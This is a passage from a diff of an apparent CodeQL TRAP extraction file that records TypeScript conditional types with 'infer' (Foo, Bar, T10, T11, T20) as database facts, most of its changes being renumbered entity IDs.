-enclosing_stmt(#22944,#22930) +typeexprs(#22944,0,#22942,-1,"Promise") +hasLocation(#22944,#21690) +enclosing_stmt(#22944,#22931) expr_containers(#22944,#22805) -literals("string","string",#22944) +literals("Promise","Promise",#22944) #22945=* -stmts(#22945,35,#22805,7,"type Fo ... never;") -#22946=@"loc,{#10000},86,3,86,65" -locations_default(#22946,#10000,86,3,86,65) -hasLocation(#22945,#22946) -stmt_containers(#22945,#22805) -#22947=* -typeexprs(#22947,1,#22945,0,"Foo") -hasLocation(#22947,#21710) -enclosing_stmt(#22947,#22945) -expr_containers(#22947,#22805) -literals("Foo","Foo",#22947) -typedecl(#22947,#22816) +typeexprs(#22945,2,#22942,0,"string") +hasLocation(#22945,#21694) +enclosing_stmt(#22945,#22931) +expr_containers(#22945,#22805) +literals("string","string",#22945) +#22946=* +stmts(#22946,35,#22805,7,"type Fo ... never;") +#22947=@"loc,{#10000},86,3,86,65" +locations_default(#22947,#10000,86,3,86,65) +hasLocation(#22946,#22947) +stmt_containers(#22946,#22805) #22948=* -scopes(#22948,12) -scopenodes(#22945,#22948) -scopenesting(#22948,#22808) -#22949=@"local_type_name;{T};{#22948}" -local_type_names(#22949,"T",#22948) -#22950=* -typeexprs(#22950,22,#22945,2,"T") -hasLocation(#22950,#21714) -enclosing_stmt(#22950,#22945) -expr_containers(#22950,#22805) +typeexprs(#22948,1,#22946,0,"Foo") +hasLocation(#22948,#21710) +enclosing_stmt(#22948,#22946) +expr_containers(#22948,#22805) +literals("Foo","Foo",#22948) +typedecl(#22948,#22817) +#22949=* +scopes(#22949,12) +scopenodes(#22946,#22949) +scopenesting(#22949,#22808) +#22950=@"local_type_name;{T};{#22949}" +local_type_names(#22950,"T",#22949) #22951=* -typeexprs(#22951,1,#22950,0,"T") +typeexprs(#22951,22,#22946,2,"T") hasLocation(#22951,#21714) -enclosing_stmt(#22951,#22945) +enclosing_stmt(#22951,#22946) expr_containers(#22951,#22805) -literals("T","T",#22951) -typedecl(#22951,#22949) #22952=* -typeexprs(#22952,28,#22945,1,"T exten ... : never") -#22953=@"loc,{#10000},86,17,86,64" -locations_default(#22953,#10000,86,17,86,64) -hasLocation(#22952,#22953) -enclosing_stmt(#22952,#22945) +typeexprs(#22952,1,#22951,0,"T") +hasLocation(#22952,#21714) +enclosing_stmt(#22952,#22946) expr_containers(#22952,#22805) -#22954=* -typeexprs(#22954,0,#22952,0,"T") -hasLocation(#22954,#21720) -enclosing_stmt(#22954,#22945) -expr_containers(#22954,#22805) -literals("T","T",#22954) -typebind(#22954,#22949) +literals("T","T",#22952) +typedecl(#22952,#22950) +#22953=* +typeexprs(#22953,28,#22946,1,"T exten ... : never") +#22954=@"loc,{#10000},86,17,86,64" +locations_default(#22954,#10000,86,17,86,64) +hasLocation(#22953,#22954) +enclosing_stmt(#22953,#22946) +expr_containers(#22953,#22805) #22955=* -typeexprs(#22955,21,#22952,1,"{ a: in ... fer U }") -#22956=@"loc,{#10000},86,27,86,52" -locations_default(#22956,#10000,86,27,86,52) -hasLocation(#22955,#22956) -enclosing_stmt(#22955,#22945) +typeexprs(#22955,0,#22953,0,"T") +hasLocation(#22955,#21720) +enclosing_stmt(#22955,#22946) expr_containers(#22955,#22805) -#22957=* -properties(#22957,#22955,0,8,"a: infer U,") -#22958=@"loc,{#10000},86,29,86,39" -locations_default(#22958,#10000,86,29,86,39) -hasLocation(#22957,#22958) -#22959=* -exprs(#22959,0,#22957,0,"a") -hasLocation(#22959,#21726) -enclosing_stmt(#22959,#22945) -expr_containers(#22959,#22805) -literals("a","a",#22959) -is_abstract_member(#22957) +literals("T","T",#22955) +typebind(#22955,#22950) +#22956=* +typeexprs(#22956,21,#22953,1,"{ a: in ... fer U }") +#22957=@"loc,{#10000},86,27,86,52" +locations_default(#22957,#10000,86,27,86,52) +hasLocation(#22956,#22957) +enclosing_stmt(#22956,#22946) +expr_containers(#22956,#22805) +#22958=* +properties(#22958,#22956,0,8,"a: infer U,") +#22959=@"loc,{#10000},86,29,86,39" +locations_default(#22959,#10000,86,29,86,39) +hasLocation(#22958,#22959) #22960=* -typeexprs(#22960,29,#22957,2,"infer U") -#22961=@"loc,{#10000},86,32,86,38" -locations_default(#22961,#10000,86,32,86,38) -hasLocation(#22960,#22961) -enclosing_stmt(#22960,#22945) +exprs(#22960,0,#22958,0,"a") +hasLocation(#22960,#21726) +enclosing_stmt(#22960,#22946) expr_containers(#22960,#22805) -#22962=* -typeexprs(#22962,22,#22960,0,"U") -hasLocation(#22962,#21732) -enclosing_stmt(#22962,#22945) -expr_containers(#22962,#22805) +literals("a","a",#22960) +is_abstract_member(#22958) +#22961=* +typeexprs(#22961,29,#22958,2,"infer U") +#22962=@"loc,{#10000},86,32,86,38" +locations_default(#22962,#10000,86,32,86,38) +hasLocation(#22961,#22962) +enclosing_stmt(#22961,#22946) +expr_containers(#22961,#22805) #22963=* -typeexprs(#22963,1,#22962,0,"U") +typeexprs(#22963,22,#22961,0,"U") hasLocation(#22963,#21732) -enclosing_stmt(#22963,#22945) +enclosing_stmt(#22963,#22946) expr_containers(#22963,#22805) -literals("U","U",#22963) #22964=* -properties(#22964,#22955,1,8,"b: infer U") -#22965=@"loc,{#10000},86,41,86,50" -locations_default(#22965,#10000,86,41,86,50) -hasLocation(#22964,#22965) -#22966=* -exprs(#22966,0,#22964,0,"b") -hasLocation(#22966,#21736) -enclosing_stmt(#22966,#22945) -expr_containers(#22966,#22805) -literals("b","b",#22966) -is_abstract_member(#22964) +typeexprs(#22964,1,#22963,0,"U") +hasLocation(#22964,#21732) +enclosing_stmt(#22964,#22946) +expr_containers(#22964,#22805) +literals("U","U",#22964) +#22965=* +properties(#22965,#22956,1,8,"b: infer U") +#22966=@"loc,{#10000},86,41,86,50" +locations_default(#22966,#10000,86,41,86,50) +hasLocation(#22965,#22966) #22967=* -typeexprs(#22967,29,#22964,2,"infer U") -#22968=@"loc,{#10000},86,44,86,50" -locations_default(#22968,#10000,86,44,86,50) -hasLocation(#22967,#22968) -enclosing_stmt(#22967,#22945) +exprs(#22967,0,#22965,0,"b") +hasLocation(#22967,#21736) +enclosing_stmt(#22967,#22946) expr_containers(#22967,#22805) -#22969=* -typeexprs(#22969,22,#22967,0,"U") -hasLocation(#22969,#21742) -enclosing_stmt(#22969,#22945) -expr_containers(#22969,#22805) +literals("b","b",#22967) +is_abstract_member(#22965) +#22968=* +typeexprs(#22968,29,#22965,2,"infer U") +#22969=@"loc,{#10000},86,44,86,50" +locations_default(#22969,#10000,86,44,86,50) +hasLocation(#22968,#22969) +enclosing_stmt(#22968,#22946) +expr_containers(#22968,#22805) #22970=* -typeexprs(#22970,1,#22969,0,"U") +typeexprs(#22970,22,#22968,0,"U") hasLocation(#22970,#21742) -enclosing_stmt(#22970,#22945) +enclosing_stmt(#22970,#22946) expr_containers(#22970,#22805) -literals("U","U",#22970) #22971=* -typeexprs(#22971,0,#22952,2,"U") -hasLocation(#22971,#21748) -enclosing_stmt(#22971,#22945) +typeexprs(#22971,1,#22970,0,"U") +hasLocation(#22971,#21742) +enclosing_stmt(#22971,#22946) expr_containers(#22971,#22805) literals("U","U",#22971) #22972=* -typeexprs(#22972,2,#22952,3,"never") -hasLocation(#22972,#21752) -enclosing_stmt(#22972,#22945) +typeexprs(#22972,0,#22953,2,"U") +hasLocation(#22972,#21748) +enclosing_stmt(#22972,#22946) expr_containers(#22972,#22805) -literals("never","never",#22972) +literals("U","U",#22972) #22973=* -stmts(#22973,35,#22805,8,"type T1 ... ing }>;") -#22974=@"loc,{#10000},87,3,87,43" -locations_default(#22974,#10000,87,3,87,43) -hasLocation(#22973,#22974) -stmt_containers(#22973,#22805) -#22975=* -typeexprs(#22975,1,#22973,0,"T10") -hasLocation(#22975,#21758) -enclosing_stmt(#22975,#22973) -expr_containers(#22975,#22805) -literals("T10","T10",#22975) -typedecl(#22975,#22817) +typeexprs(#22973,2,#22953,3,"never") +hasLocation(#22973,#21752) +enclosing_stmt(#22973,#22946) +expr_containers(#22973,#22805) +literals("never","never",#22973) +#22974=* +stmts(#22974,35,#22805,8,"type T1 ... ing }>;") +#22975=@"loc,{#10000},87,3,87,43" +locations_default(#22975,#10000,87,3,87,43) +hasLocation(#22974,#22975) +stmt_containers(#22974,#22805) #22976=* -typeexprs(#22976,14,#22973,1,"Foo<{ a ... ring }>") -#22977=@"loc,{#10000},87,14,87,42" -locations_default(#22977,#10000,87,14,87,42) -hasLocation(#22976,#22977) -enclosing_stmt(#22976,#22973) +typeexprs(#22976,1,#22974,0,"T10") +hasLocation(#22976,#21758) +enclosing_stmt(#22976,#22974) expr_containers(#22976,#22805) -#22978=* -typeexprs(#22978,0,#22976,-1,"Foo") -hasLocation(#22978,#21762) -enclosing_stmt(#22978,#22973) -expr_containers(#22978,#22805) -literals("Foo","Foo",#22978) -typebind(#22978,#22816) +literals("T10","T10",#22976) +typedecl(#22976,#22818) +#22977=* +typeexprs(#22977,14,#22974,1,"Foo<{ a ... ring }>") +#22978=@"loc,{#10000},87,14,87,42" +locations_default(#22978,#10000,87,14,87,42) +hasLocation(#22977,#22978) +enclosing_stmt(#22977,#22974) +expr_containers(#22977,#22805) #22979=* -typeexprs(#22979,21,#22976,0,"{ a: st ... tring }") -#22980=@"loc,{#10000},87,18,87,41" -locations_default(#22980,#10000,87,18,87,41) -hasLocation(#22979,#22980) -enclosing_stmt(#22979,#22973) +typeexprs(#22979,0,#22977,-1,"Foo") +hasLocation(#22979,#21762) +enclosing_stmt(#22979,#22974) expr_containers(#22979,#22805) -#22981=* -properties(#22981,#22979,0,8,"a: string,") -#22982=@"loc,{#10000},87,20,87,29" -locations_default(#22982,#10000,87,20,87,29) -hasLocation(#22981,#22982) -#22983=* -exprs(#22983,0,#22981,0,"a") -hasLocation(#22983,#21768) -enclosing_stmt(#22983,#22973) -expr_containers(#22983,#22805) -literals("a","a",#22983) -is_abstract_member(#22981) +literals("Foo","Foo",#22979) +typebind(#22979,#22817) +#22980=* +typeexprs(#22980,21,#22977,0,"{ a: st ... tring }") +#22981=@"loc,{#10000},87,18,87,41" +locations_default(#22981,#10000,87,18,87,41) +hasLocation(#22980,#22981) +enclosing_stmt(#22980,#22974) +expr_containers(#22980,#22805) +#22982=* +properties(#22982,#22980,0,8,"a: string,") +#22983=@"loc,{#10000},87,20,87,29" +locations_default(#22983,#10000,87,20,87,29) +hasLocation(#22982,#22983) #22984=* -typeexprs(#22984,2,#22981,2,"string") -hasLocation(#22984,#21772) -enclosing_stmt(#22984,#22973) +exprs(#22984,0,#22982,0,"a") +hasLocation(#22984,#21768) +enclosing_stmt(#22984,#22974) expr_containers(#22984,#22805) -literals("string","string",#22984) +literals("a","a",#22984) +is_abstract_member(#22982) #22985=* -properties(#22985,#22979,1,8,"b: string") -#22986=@"loc,{#10000},87,31,87,39" -locations_default(#22986,#10000,87,31,87,39) -hasLocation(#22985,#22986) -#22987=* -exprs(#22987,0,#22985,0,"b") -hasLocation(#22987,#21776) -enclosing_stmt(#22987,#22973) -expr_containers(#22987,#22805) -literals("b","b",#22987) -is_abstract_member(#22985) +typeexprs(#22985,2,#22982,2,"string") +hasLocation(#22985,#21772) +enclosing_stmt(#22985,#22974) +expr_containers(#22985,#22805) +literals("string","string",#22985) +#22986=* +properties(#22986,#22980,1,8,"b: string") +#22987=@"loc,{#10000},87,31,87,39" +locations_default(#22987,#10000,87,31,87,39) +hasLocation(#22986,#22987) #22988=* -typeexprs(#22988,2,#22985,2,"string") -hasLocation(#22988,#21780) -enclosing_stmt(#22988,#22973) +exprs(#22988,0,#22986,0,"b") +hasLocation(#22988,#21776) +enclosing_stmt(#22988,#22974) expr_containers(#22988,#22805) -literals("string","string",#22988) +literals("b","b",#22988) +is_abstract_member(#22986) #22989=* -stmts(#22989,35,#22805,9,"type T1 ... ber }>;") -#22990=@"loc,{#10000},88,3,88,43" -locations_default(#22990,#10000,88,3,88,43) -hasLocation(#22989,#22990) -stmt_containers(#22989,#22805) -#22991=* -typeexprs(#22991,1,#22989,0,"T11") -hasLocation(#22991,#21790) -enclosing_stmt(#22991,#22989) -expr_containers(#22991,#22805) -literals("T11","T11",#22991) -typedecl(#22991,#22818) +typeexprs(#22989,2,#22986,2,"string") +hasLocation(#22989,#21780) +enclosing_stmt(#22989,#22974) +expr_containers(#22989,#22805) +literals("string","string",#22989) +#22990=* +stmts(#22990,35,#22805,9,"type T1 ... ber }>;") +#22991=@"loc,{#10000},88,3,88,43" +locations_default(#22991,#10000,88,3,88,43) +hasLocation(#22990,#22991) +stmt_containers(#22990,#22805) #22992=* -typeexprs(#22992,14,#22989,1,"Foo<{ a ... mber }>") -#22993=@"loc,{#10000},88,14,88,42" -locations_default(#22993,#10000,88,14,88,42) -hasLocation(#22992,#22993) -enclosing_stmt(#22992,#22989) +typeexprs(#22992,1,#22990,0,"T11") +hasLocation(#22992,#21790) +enclosing_stmt(#22992,#22990) expr_containers(#22992,#22805) -#22994=* -typeexprs(#22994,0,#22992,-1,"Foo") -hasLocation(#22994,#21794) -enclosing_stmt(#22994,#22989) -expr_containers(#22994,#22805) -literals("Foo","Foo",#22994) -typebind(#22994,#22816) +literals("T11","T11",#22992) +typedecl(#22992,#22819) +#22993=* +typeexprs(#22993,14,#22990,1,"Foo<{ a ... mber }>") +#22994=@"loc,{#10000},88,14,88,42" +locations_default(#22994,#10000,88,14,88,42) +hasLocation(#22993,#22994) +enclosing_stmt(#22993,#22990) +expr_containers(#22993,#22805) #22995=* -typeexprs(#22995,21,#22992,0,"{ a: st ... umber }") -#22996=@"loc,{#10000},88,18,88,41" -locations_default(#22996,#10000,88,18,88,41) -hasLocation(#22995,#22996) -enclosing_stmt(#22995,#22989) +typeexprs(#22995,0,#22993,-1,"Foo") +hasLocation(#22995,#21794) +enclosing_stmt(#22995,#22990) expr_containers(#22995,#22805) -#22997=* -properties(#22997,#22995,0,8,"a: string,") -#22998=@"loc,{#10000},88,20,88,29" -locations_default(#22998,#10000,88,20,88,29) -hasLocation(#22997,#22998) -#22999=* -exprs(#22999,0,#22997,0,"a") -hasLocation(#22999,#21800) -enclosing_stmt(#22999,#22989) -expr_containers(#22999,#22805) -literals("a","a",#22999) -is_abstract_member(#22997) +literals("Foo","Foo",#22995) +typebind(#22995,#22817) +#22996=* +typeexprs(#22996,21,#22993,0,"{ a: st ... umber }") +#22997=@"loc,{#10000},88,18,88,41" +locations_default(#22997,#10000,88,18,88,41) +hasLocation(#22996,#22997) +enclosing_stmt(#22996,#22990) +expr_containers(#22996,#22805) +#22998=* +properties(#22998,#22996,0,8,"a: string,") +#22999=@"loc,{#10000},88,20,88,29" +locations_default(#22999,#10000,88,20,88,29) +hasLocation(#22998,#22999) #23000=* -typeexprs(#23000,2,#22997,2,"string") -hasLocation(#23000,#21804) -enclosing_stmt(#23000,#22989) +exprs(#23000,0,#22998,0,"a") +hasLocation(#23000,#21800) +enclosing_stmt(#23000,#22990) expr_containers(#23000,#22805) -literals("string","string",#23000) +literals("a","a",#23000) +is_abstract_member(#22998) #23001=* -properties(#23001,#22995,1,8,"b: number") -#23002=@"loc,{#10000},88,31,88,39" -locations_default(#23002,#10000,88,31,88,39) -hasLocation(#23001,#23002) -#23003=* -exprs(#23003,0,#23001,0,"b") -hasLocation(#23003,#21808) -enclosing_stmt(#23003,#22989) -expr_containers(#23003,#22805) -literals("b","b",#23003) -is_abstract_member(#23001) +typeexprs(#23001,2,#22998,2,"string") +hasLocation(#23001,#21804) +enclosing_stmt(#23001,#22990) +expr_containers(#23001,#22805) +literals("string","string",#23001) +#23002=* +properties(#23002,#22996,1,8,"b: number") +#23003=@"loc,{#10000},88,31,88,39" +locations_default(#23003,#10000,88,31,88,39) +hasLocation(#23002,#23003) #23004=* -typeexprs(#23004,2,#23001,2,"number") -hasLocation(#23004,#21812) -enclosing_stmt(#23004,#22989) +exprs(#23004,0,#23002,0,"b") +hasLocation(#23004,#21808) +enclosing_stmt(#23004,#22990) expr_containers(#23004,#22805) -literals("number","number",#23004) +literals("b","b",#23004) +is_abstract_member(#23002) #23005=* -stmts(#23005,35,#22805,10,"type Ba ... never;") -#23006=@"loc,{#10000},90,3,90,91" -locations_default(#23006,#10000,90,3,90,91) -hasLocation(#23005,#23006) -stmt_containers(#23005,#22805) -#23007=* -typeexprs(#23007,1,#23005,0,"Bar") -hasLocation(#23007,#21822) -enclosing_stmt(#23007,#23005) -expr_containers(#23007,#22805) -literals("Bar","Bar",#23007) -typedecl(#23007,#22819) +typeexprs(#23005,2,#23002,2,"number") +hasLocation(#23005,#21812) +enclosing_stmt(#23005,#22990) +expr_containers(#23005,#22805) +literals("number","number",#23005) +#23006=* +stmts(#23006,35,#22805,10,"type Ba ... never;") +#23007=@"loc,{#10000},90,3,90,91" +locations_default(#23007,#10000,90,3,90,91) +hasLocation(#23006,#23007) +stmt_containers(#23006,#22805) #23008=* -scopes(#23008,12) -scopenodes(#23005,#23008) -scopenesting(#23008,#22808) -#23009=@"local_type_name;{T};{#23008}" -local_type_names(#23009,"T",#23008) -#23010=* -typeexprs(#23010,22,#23005,2,"T") -hasLocation(#23010,#21826) -enclosing_stmt(#23010,#23005) -expr_containers(#23010,#22805) +typeexprs(#23008,1,#23006,0,"Bar") +hasLocation(#23008,#21822) +enclosing_stmt(#23008,#23006) +expr_containers(#23008,#22805) +literals("Bar","Bar",#23008) +typedecl(#23008,#22820) +#23009=* +scopes(#23009,12) +scopenodes(#23006,#23009) +scopenesting(#23009,#22808) +#23010=@"local_type_name;{T};{#23009}" +local_type_names(#23010,"T",#23009) #23011=* -typeexprs(#23011,1,#23010,0,"T") +typeexprs(#23011,22,#23006,2,"T") hasLocation(#23011,#21826) -enclosing_stmt(#23011,#23005) +enclosing_stmt(#23011,#23006) expr_containers(#23011,#22805) -literals("T","T",#23011) -typedecl(#23011,#23009) #23012=* -typeexprs(#23012,28,#23005,1,"T exten ... : never") -#23013=@"loc,{#10000},90,17,90,90" -locations_default(#23013,#10000,90,17,90,90) -hasLocation(#23012,#23013) -enclosing_stmt(#23012,#23005) +typeexprs(#23012,1,#23011,0,"T") +hasLocation(#23012,#21826) +enclosing_stmt(#23012,#23006) expr_containers(#23012,#22805) -#23014=* -typeexprs(#23014,0,#23012,0,"T") -hasLocation(#23014,#21832) -enclosing_stmt(#23014,#23005) -expr_containers(#23014,#22805) -literals("T","T",#23014) -typebind(#23014,#23009) +literals("T","T",#23012) +typedecl(#23012,#23010) +#23013=* +typeexprs(#23013,28,#23006,1,"T exten ... : never") +#23014=@"loc,{#10000},90,17,90,90" +locations_default(#23014,#10000,90,17,90,90) +hasLocation(#23013,#23014) +enclosing_stmt(#23013,#23006) +expr_containers(#23013,#22805) #23015=* -typeexprs(#23015,21,#23012,1,"{ a: (x ... void }") -#23016=@"loc,{#10000},90,27,90,78" -locations_default(#23016,#10000,90,27,90,78) -hasLocation(#23015,#23016) -enclosing_stmt(#23015,#23005) +typeexprs(#23015,0,#23013,0,"T") +hasLocation(#23015,#21832) +enclosing_stmt(#23015,#23006) expr_containers(#23015,#22805) -#23017=* -properties(#23017,#23015,0,8,"a: (x: ... > void,") -#23018=@"loc,{#10000},90,29,90,52" -locations_default(#23018,#10000,90,29,90,52) -hasLocation(#23017,#23018) -#23019=* -exprs(#23019,0,#23017,0,"a") -hasLocation(#23019,#21838) -enclosing_stmt(#23019,#23005) -expr_containers(#23019,#22805) -literals("a","a",#23019) -is_abstract_member(#23017) +literals("T","T",#23015) +typebind(#23015,#23010) +#23016=* +typeexprs(#23016,21,#23013,1,"{ a: (x ... void }") +#23017=@"loc,{#10000},90,27,90,78" +locations_default(#23017,#10000,90,27,90,78) +hasLocation(#23016,#23017) +enclosing_stmt(#23016,#23006) +expr_containers(#23016,#22805) +#23018=* +properties(#23018,#23016,0,8,"a: (x: ... > void,") +#23019=@"loc,{#10000},90,29,90,52" +locations_default(#23019,#10000,90,29,90,52) +hasLocation(#23018,#23019) #23020=* -typeexprs(#23020,23,#23017,2,"(x: infer U) => void") -#23021=@"loc,{#10000},90,32,90,51" -locations_default(#23021,#10000,90,32,90,51) -hasLocation(#23020,#23021) -enclosing_stmt(#23020,#23005) +exprs(#23020,0,#23018,0,"a") +hasLocation(#23020,#21838) +enclosing_stmt(#23020,#23006) expr_containers(#23020,#22805) -#23022=* -exprs(#23022,9,#23020,0,"(x: infer U) => void") -hasLocation(#23022,#23021) -enclosing_stmt(#23022,#23005) -expr_containers(#23022,#22805) +literals("a","a",#23020) +is_abstract_member(#23018) +#23021=* +typeexprs(#23021,23,#23018,2,"(x: infer U) => void") +#23022=@"loc,{#10000},90,32,90,51" +locations_default(#23022,#10000,90,32,90,51) +hasLocation(#23021,#23022) +enclosing_stmt(#23021,#23006) +expr_containers(#23021,#22805) #23023=* -scopes(#23023,1) -scopenodes(#23022,#23023) -scopenesting(#23023,#23008) -#23024=@"var;{x};{#23023}" -variables(#23024,"x",#23023) -#23025=* -exprs(#23025,78,#23022,0,"x") -hasLocation(#23025,#21844) -expr_containers(#23025,#23022) -literals("x","x",#23025) -decl(#23025,#23024) -#23026=@"var;{arguments};{#23023}" -variables(#23026,"arguments",#23023) -is_arguments_object(#23026) -#23027=* -typeexprs(#23027,2,#23022,-3,"void") -hasLocation(#23027,#21856) -expr_containers(#23027,#23022) -literals("void","void",#23027) +exprs(#23023,9,#23021,0,"(x: infer U) => void") +hasLocation(#23023,#23022) +enclosing_stmt(#23023,#23006) +expr_containers(#23023,#22805) +#23024=* +scopes(#23024,1) +scopenodes(#23023,#23024) +scopenesting(#23024,#23009) +#23025=@"var;{x};{#23024}" +variables(#23025,"x",#23024) +#23026=* +exprs(#23026,78,#23023,0,"x") +hasLocation(#23026,#21844) +expr_containers(#23026,#23023) +literals("x","x",#23026) +decl(#23026,#23025) +#23027=@"var;{arguments};{#23024}" +variables(#23027,"arguments",#23024) +is_arguments_object(#23027) #23028=* -typeexprs(#23028,29,#23022,-6,"infer U") -#23029=@"loc,{#10000},90,36,90,42" -locations_default(#23029,#10000,90,36,90,42) -hasLocation(#23028,#23029) -expr_containers(#23028,#23022) -#23030=* -typeexprs(#23030,22,#23028,0,"U") -hasLocation(#23030,#21850) -expr_containers(#23030,#23022) +typeexprs(#23028,2,#23023,-3,"void") +hasLocation(#23028,#21856) +expr_containers(#23028,#23023) +literals("void","void",#23028) +#23029=* +typeexprs(#23029,29,#23023,-6,"infer U") +#23030=@"loc,{#10000},90,36,90,42" +locations_default(#23030,#10000,90,36,90,42) +hasLocation(#23029,#23030) +expr_containers(#23029,#23023) #23031=* -typeexprs(#23031,1,#23030,0,"U") +typeexprs(#23031,22,#23029,0,"U") hasLocation(#23031,#21850) -expr_containers(#23031,#23022) -literals("U","U",#23031) +expr_containers(#23031,#23023) #23032=* -properties(#23032,#23015,1,8,"b: (x: ... => void") -#23033=@"loc,{#10000},90,54,90,76" -locations_default(#23033,#10000,90,54,90,76) -hasLocation(#23032,#23033) -#23034=* -exprs(#23034,0,#23032,0,"b") -hasLocation(#23034,#21860) -enclosing_stmt(#23034,#23005) -expr_containers(#23034,#22805) -literals("b","b",#23034) -is_abstract_member(#23032) +typeexprs(#23032,1,#23031,0,"U") +hasLocation(#23032,#21850) +expr_containers(#23032,#23023) +literals("U","U",#23032) +#23033=* +properties(#23033,#23016,1,8,"b: (x: ... => void") +#23034=@"loc,{#10000},90,54,90,76" +locations_default(#23034,#10000,90,54,90,76) +hasLocation(#23033,#23034) #23035=* -typeexprs(#23035,23,#23032,2,"(x: infer U) => void") -#23036=@"loc,{#10000},90,57,90,76" -locations_default(#23036,#10000,90,57,90,76) -hasLocation(#23035,#23036) -enclosing_stmt(#23035,#23005) +exprs(#23035,0,#23033,0,"b") +hasLocation(#23035,#21860) +enclosing_stmt(#23035,#23006) expr_containers(#23035,#22805) -#23037=* -exprs(#23037,9,#23035,0,"(x: infer U) => void") -hasLocation(#23037,#23036) -enclosing_stmt(#23037,#23005) -expr_containers(#23037,#22805) +literals("b","b",#23035) +is_abstract_member(#23033) +#23036=* +typeexprs(#23036,23,#23033,2,"(x: infer U) => void") +#23037=@"loc,{#10000},90,57,90,76" +locations_default(#23037,#10000,90,57,90,76) +hasLocation(#23036,#23037) +enclosing_stmt(#23036,#23006) +expr_containers(#23036,#22805) #23038=* -scopes(#23038,1) -scopenodes(#23037,#23038) -scopenesting(#23038,#23008) -#23039=@"var;{x};{#23038}" -variables(#23039,"x",#23038) -#23040=* -exprs(#23040,78,#23037,0,"x") -hasLocation(#23040,#21866) -expr_containers(#23040,#23037) -literals("x","x",#23040) -decl(#23040,#23039) -#23041=@"var;{arguments};{#23038}" -variables(#23041,"arguments",#23038) -is_arguments_object(#23041) -#23042=* -typeexprs(#23042,2,#23037,-3,"void") -hasLocation(#23042,#21878) -expr_containers(#23042,#23037) -literals("void","void",#23042) +exprs(#23038,9,#23036,0,"(x: infer U) => void") +hasLocation(#23038,#23037) +enclosing_stmt(#23038,#23006) +expr_containers(#23038,#22805) +#23039=* +scopes(#23039,1) +scopenodes(#23038,#23039) +scopenesting(#23039,#23009) +#23040=@"var;{x};{#23039}" +variables(#23040,"x",#23039) +#23041=* +exprs(#23041,78,#23038,0,"x") +hasLocation(#23041,#21866) +expr_containers(#23041,#23038) +literals("x","x",#23041) +decl(#23041,#23040) +#23042=@"var;{arguments};{#23039}" +variables(#23042,"arguments",#23039) +is_arguments_object(#23042) #23043=* -typeexprs(#23043,29,#23037,-6,"infer U") -#23044=@"loc,{#10000},90,61,90,67" -locations_default(#23044,#10000,90,61,90,67) -hasLocation(#23043,#23044) -expr_containers(#23043,#23037) -#23045=* -typeexprs(#23045,22,#23043,0,"U") -hasLocation(#23045,#21872) -expr_containers(#23045,#23037) +typeexprs(#23043,2,#23038,-3,"void") +hasLocation(#23043,#21878) +expr_containers(#23043,#23038) +literals("void","void",#23043) +#23044=* +typeexprs(#23044,29,#23038,-6,"infer U") +#23045=@"loc,{#10000},90,61,90,67" +locations_default(#23045,#10000,90,61,90,67) +hasLocation(#23044,#23045) +expr_containers(#23044,#23038) #23046=* -typeexprs(#23046,1,#23045,0,"U") +typeexprs(#23046,22,#23044,0,"U") hasLocation(#23046,#21872) -expr_containers(#23046,#23037) -literals("U","U",#23046) +expr_containers(#23046,#23038) #23047=* -typeexprs(#23047,0,#23012,2,"U") -hasLocation(#23047,#21884) -enclosing_stmt(#23047,#23005) -expr_containers(#23047,#22805) +typeexprs(#23047,1,#23046,0,"U") +hasLocation(#23047,#21872) +expr_containers(#23047,#23038) literals("U","U",#23047) #23048=* -typeexprs(#23048,2,#23012,3,"never") -hasLocation(#23048,#21888) -enclosing_stmt(#23048,#23005) +typeexprs(#23048,0,#23013,2,"U") +hasLocation(#23048,#21884) +enclosing_stmt(#23048,#23006) expr_containers(#23048,#22805) -literals("never","never",#23048) +literals("U","U",#23048) #23049=* -stmts(#23049,35,#22805,11,"type T2 ... oid }>;") -#23050=@"loc,{#10000},91,3,91,69" -locations_default(#23050,#10000,91,3,91,69) -hasLocation(#23049,#23050) -stmt_containers(#23049,#22805) -#23051=* -typeexprs(#23051,1,#23049,0,"T20") -hasLocation(#23051,#21894) -enclosing_stmt(#23051,#23049) -expr_containers(#23051,#22805) -literals("T20","T20",#23051) -typedecl(#23051,#22820) +typeexprs(#23049,2,#23013,3,"never") +hasLocation(#23049,#21888) +enclosing_stmt(#23049,#23006) +expr_containers(#23049,#22805) +literals("never","never",#23049) +#23050=* +stmts(#23050,35,#22805,11,"type T2 ... oid }>;") +#23051=@"loc,{#10000},91,3,91,69" +locations_default(#23051,#10000,91,3,91,69) +hasLocation(#23050,#23051) +stmt_containers(#23050,#22805) #23052=* -typeexprs(#23052,14,#23049,1,"Bar<{ a ... void }>") -#23053=@"loc,{#10000},91,14,91,68" -locations_default(#23053,#10000,91,14,91,68) -hasLocation(#23052,#23053) -enclosing_stmt(#23052,#23049) +typeexprs(#23052,1,#23050,0,"T20") +hasLocation(#23052,#21894) +enclosing_stmt(#23052,#23050) expr_containers(#23052,#22805) -#23054=* -typeexprs(#23054,0,#23052,-1,"Bar") -hasLocation(#23054,#21898) -enclosing_stmt(#23054,#23049) -expr_containers(#23054,#22805) -literals("Bar","Bar",#23054) -typebind(#23054,#22819) +literals("T20","T20",#23052) +typedecl(#23052,#22821) +#23053=* +typeexprs(#23053,14,#23050,1,"Bar<{ a ... void }>") +#23054=@"loc,{#10000},91,14,91,68" +locations_default(#23054,#10000,91,14,91,68) +hasLocation(#23053,#23054) +enclosing_stmt(#23053,#23050) +expr_containers(#23053,#22805) #23055=* -typeexprs(#23055,21,#23052,0,"{ a: (x ... void }") -#23056=@"loc,{#10000},91,18,91,67" -locations_default(#23056,#10000,91,18,91,67) -hasLocation(#23055,#23056) -enclosing_stmt(#23055,#23049) +typeexprs(#23055,0,#23053,-1,"Bar") +hasLocation(#23055,#21898) +enclosing_stmt(#23055,#23050) expr_containers(#23055,#22805) -#23057=* -properties(#23057,#23055,0,8,"a: (x: ... > void,") -#23058=@"loc,{#10000},91,20,91,42" -locations_default(#23058,#10000,91,20,91,42) -hasLocation(#23057,#23058) -#23059=* -exprs(#23059,0,#23057,0,"a") -hasLocation(#23059,#21904) -enclosing_stmt(#23059,#23049) -expr_containers(#23059,#22805) -literals("a","a",#23059) -is_abstract_member(#23057) +literals("Bar","Bar",#23055) +typebind(#23055,#22820) +#23056=* +typeexprs(#23056,21,#23053,0,"{ a: (x ... void }") +#23057=@"loc,{#10000},91,18,91,67" +locations_default(#23057,#10000,91,18,91,67) +hasLocation(#23056,#23057) +enclosing_stmt(#23056,#23050) +expr_containers(#23056,#22805) +#23058=* +properties(#23058,#23056,0,8,"a: (x: ... > void,") +#23059=@"loc,{#10000},91,20,91,42" 